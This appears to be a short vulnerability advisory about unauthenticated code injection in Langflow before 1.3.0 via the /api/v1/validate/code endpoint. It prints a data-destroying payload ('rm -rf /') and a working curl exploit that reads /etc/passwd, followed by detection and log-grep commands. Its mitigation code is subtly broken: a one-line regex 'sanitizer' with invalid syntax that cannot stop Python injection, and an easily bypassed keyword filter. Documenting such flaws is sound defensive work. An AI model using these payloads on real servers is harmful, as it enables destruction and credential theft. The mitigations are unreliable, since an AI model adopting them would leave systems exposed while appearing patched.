Langflow versions before 1.3.0 are vulnerable to remote code execution (RCE) via the `/api/v1/validate/code` endpoint. The vulnerability arises due to insufficient input validation, allowing an attacker to inject malicious Python code through crafted HTTP requests. When the endpoint processes untrusted input without proper sanitization, the injected code executes in the server context. This flaw enables unauthenticated attackers to compromise the system, escalate privileges, or exfiltrate sensitive data.
The exploit works by sending a POST request containing arbitrary Python code in the `code` parameter. Langflow’s validation logic fails to restrict dangerous functions (e.g., os.system, subprocess.call), leading to server-side execution. For example, an attacker could send:
{"code": "import os; os.system('rm -rf /')"}
This payload would be executed on the server, demonstrating the critical impact of this vulnerability.
DailyCVE Form:
Platform: Langflow
Version: <1.3.0
Vulnerability: Code Injection
Severity: Critical
Date: 2025-04-07
What Undercode Say:
Exploit:
curl -X POST http://target.com/api/v1/validate/code -H "Content-Type: application/json" -d '{"code": "import os; os.system(\"cat /etc/passwd\")"}'
Detection:
grep -r "validate/code" /path/to/langflow --include=".py"
Mitigation:
1. Upgrade to Langflow 1.3.0+.
2. Implement input sanitization:
import re def sanitize_code(input_code): return re.sub(r"[;|&]", "", input_code)
Log Analysis:
tail -f /var/log/langflow/access.log | grep "POST /api/v1/validate/code"
WAF Rule:
location /api/v1/validate/code {
if ($request_method = POST) {
deny all;
}
}
Patch Verification:
pip show langflow | grep Version
Exploit Prevention:
Flask-based mitigation
@app.route('/api/v1/validate/code', methods=['POST'])
def validate_code():
if not request.is_json:
abort(400)
code = request.json.get('code', '')
if any(cmd in code for cmd in ['os.', 'subprocess.']):
abort(403)
References:
Reported By: https://github.com/advisories/GHSA-c995-4fw3-j39m
Extra Source Hub:
Undercode
